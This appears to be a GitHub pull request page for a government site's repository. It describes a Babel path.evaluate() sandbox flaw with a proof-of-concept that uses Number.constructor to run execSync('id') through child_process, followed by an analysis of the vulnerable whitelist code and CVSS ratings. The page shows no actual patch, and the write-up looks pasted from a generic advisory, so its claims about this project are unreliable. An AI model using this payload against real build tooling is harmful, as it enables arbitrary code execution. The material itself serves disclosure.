Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Patched Fix vulnerable to arbitrary code execution when compiling specifically crafted malicious code #1433

Open
wants to merge 1 commit into
base: main
Choose a base branch
from

Conversation

imhunterand
Copy link

Summary Description :

The Project of join.tts.gsa.gov has vulnerable to Incomplete List of Disallowed Inputs when using plugins that rely on the path.evaluate() or path.evaluateTruthy() internal Babel methods.

The Exploit (Proof of Concept)

Before delving into the details, let’s take a look at the proof of concept I came up with:

const parser = require("@babel/parser");
const traverse = require("@babel/traverse").default;

const source = `String({  toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")});`

const ast = parser.parse(source);

const evalVisitor = {
  Expression(path) {
    path.evaluate();
  },
};

traverse(ast, evalVisitor);

alt text

Exploit Breakdown

To understand why this vulnerability works, we need to understand the source code of the culprit function, evaluate. The source code of babel-traverse/src/path/evaluation.ts prior to the fix is archived here

/**
 * Walk the input `node` and statically evaluate it.
 *
 * Returns an object in the form `{ confident, value, deopt }`. `confident`
 * indicates whether or not we had to drop out of evaluating the expression
 * because of hitting an unknown node that we couldn't confidently find the
 * value of, in which case `deopt` is the path of said node.
 *
 * Example:
 *
 *   t.evaluate(parse("5 + 5")) // { confident: true, value: 10 }
 *   t.evaluate(parse("!true")) // { confident: true, value: false }
 *   t.evaluate(parse("foo + foo")) // { confident: false, value: undefined, deopt: NodePath }
 *
 */

export function evaluate(this: NodePath): {
  confident: boolean;
  value: any;
  deopt?: NodePath;
} {
  const state: State = {
    confident: true,
    deoptPath: null,
    seen: new Map(),
  };
  let value = evaluateCached(this, state);
  if (!state.confident) value = undefined;

  return {
    confident: state.confident,
    deopt: state.deoptPath,
    value: value,
  };
}

When evaluate is called on a NodePath, it goes through the evaluatedCached wrapper, before reaching the _evaluate function which does all the heavy lifting. The _evaluate function is where the vulnerability lies.

This function is responsible for recursively breaking down AST nodes until it reaches an atomic operation that can be evaluated confidently. The majority of the base cases are evaluated for atomic operations only (such as for binary expressions between two literals). However, there are a few exceptions to this rule.

The two pieces of the source code we care about are the handling of call expressions and object expressions, as shown below

Vulnerable Source Code

The first thing to understand is that while call expressions can indeed be evaluated, they are subject to a whitelist check, relying on the VALID_OBJECT_CALLEES or VALID_IDENTIFIER_CALLEES arrays.

The most interesting one is the second case:

if (
  object.isIdentifier() &&
  property.isIdentifier() &&
  isValidObjectCallee(object.node.name) &&
  !isInvalidMethod(property.node.name)
) {
  context = global[object.node.name];
  // @ts-expect-error property may not exist in context object
  func = context[property.node.name];
}

/** snip **/
if (func) {
  const args = path.get("arguments").map((arg) => evaluateCached(arg, state));
  if (!state.confident) return;

  return func.apply(context, args);
}

The only blacklisted method is random, which is a method of the Math object. This means that any other method of either the whitelisted Number, String, or Math objects can be directly referenced. In JavaScript, all classes are functions. Since Number and String are global JavaScript classes, their constructor property points to the Function constructor.

Therefore, the two expressions below are equivalent:

Number.constructor('18F_code_here;');
Function('18F_code_here;');

Impact

CWE-184
CWE-697
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Fixes issue(s) # .

😎 PREVIEW

Changes proposed in this pull request:

  • Fix or Patched vulnerable code executions
  • Added new version feature's

/cc @relevant-people @imhunterand @18F

…cifically crafted malicious code

## Summary Description :
The Project of `join.tts.gsa.gov` has vulnerable to Incomplete List of Disallowed Inputs when using plugins that rely on the `path.evaluate()` or `path.evaluateTruthy()` internal Babel methods.


## The Exploit (Proof of Concept)
Before delving into the details, let’s take a look at the proof of concept I came up with:
```js
const parser = require("@babel/parser");
const traverse = require("@babel/traverse").default;

const source = `String({  toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")});`

const ast = parser.parse(source);

const evalVisitor = {
  Expression(path) {
    path.evaluate();
  },
};

traverse(ast, evalVisitor);
```
![alt text](https://i.ibb.co/5rMVtzF/success.jpg)

## Exploit Breakdown
To understand why this vulnerability works, we need to understand the source code of the culprit function, `evaluate`. The source code of `babel-traverse/src/path/evaluation.ts` prior to the fix is archived [here](https://github.com/babel/babel/blob/7e198e5959b18373db3936fa3223c0811cebfac1/packages/babel-traverse/src/path/evaluation.ts)

```js
/**
 * Walk the input `node` and statically evaluate it.
 *
 * Returns an object in the form `{ confident, value, deopt }`. `confident`
 * indicates whether or not we had to drop out of evaluating the expression
 * because of hitting an unknown node that we couldn't confidently find the
 * value of, in which case `deopt` is the path of said node.
 *
 * Example:
 *
 *   t.evaluate(parse("5 + 5")) // { confident: true, value: 10 }
 *   t.evaluate(parse("!true")) // { confident: true, value: false }
 *   t.evaluate(parse("foo + foo")) // { confident: false, value: undefined, deopt: NodePath }
 *
 */

export function evaluate(this: NodePath): {
  confident: boolean;
  value: any;
  deopt?: NodePath;
} {
  const state: State = {
    confident: true,
    deoptPath: null,
    seen: new Map(),
  };
  let value = evaluateCached(this, state);
  if (!state.confident) value = undefined;

  return {
    confident: state.confident,
    deopt: state.deoptPath,
    value: value,
  };
}
```
When `evaluate` is called on a NodePath, it goes through the `evaluatedCached` wrapper, before reaching the `_evaluate` function which does all the heavy lifting. The `_evaluate` function is where the vulnerability lies.

This function is responsible for recursively breaking down AST nodes until it reaches an atomic operation that can be evaluated confidently. The majority of the base cases are evaluated for atomic operations only (such as for binary expressions between two literals). However, there are a few exceptions to this rule.

The two pieces of the source code we care about are the handling of call expressions and object expressions, as shown below

## Vulnerable Source Code
The first thing to understand is that while call expressions can indeed be evaluated, they are subject to a whitelist check, relying on the `VALID_OBJECT_CALLEES` or `VALID_IDENTIFIER_CALLEES` arrays.

The most interesting one is the second case:
```js
if (
  object.isIdentifier() &&
  property.isIdentifier() &&
  isValidObjectCallee(object.node.name) &&
  !isInvalidMethod(property.node.name)
) {
  context = global[object.node.name];
  // @ts-expect-error property may not exist in context object
  func = context[property.node.name];
}

/** snip **/
if (func) {
  const args = path.get("arguments").map((arg) => evaluateCached(arg, state));
  if (!state.confident) return;

  return func.apply(context, args);
}
```
The only blacklisted method is `random`, which is a method of the `Math` object. This means that any other method of either the whitelisted `Number`, `String`, or `Math` objects can be directly referenced. In JavaScript, all classes are functions. Since Number and String are global JavaScript classes, their constructor property points to the Function constructor.

Therefore, the two expressions below are equivalent:
```js
Number.constructor('18F_code_here;');
Function('18F_code_here;');
```

## Impact
CWE-184
CWE-697
`CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

1 participant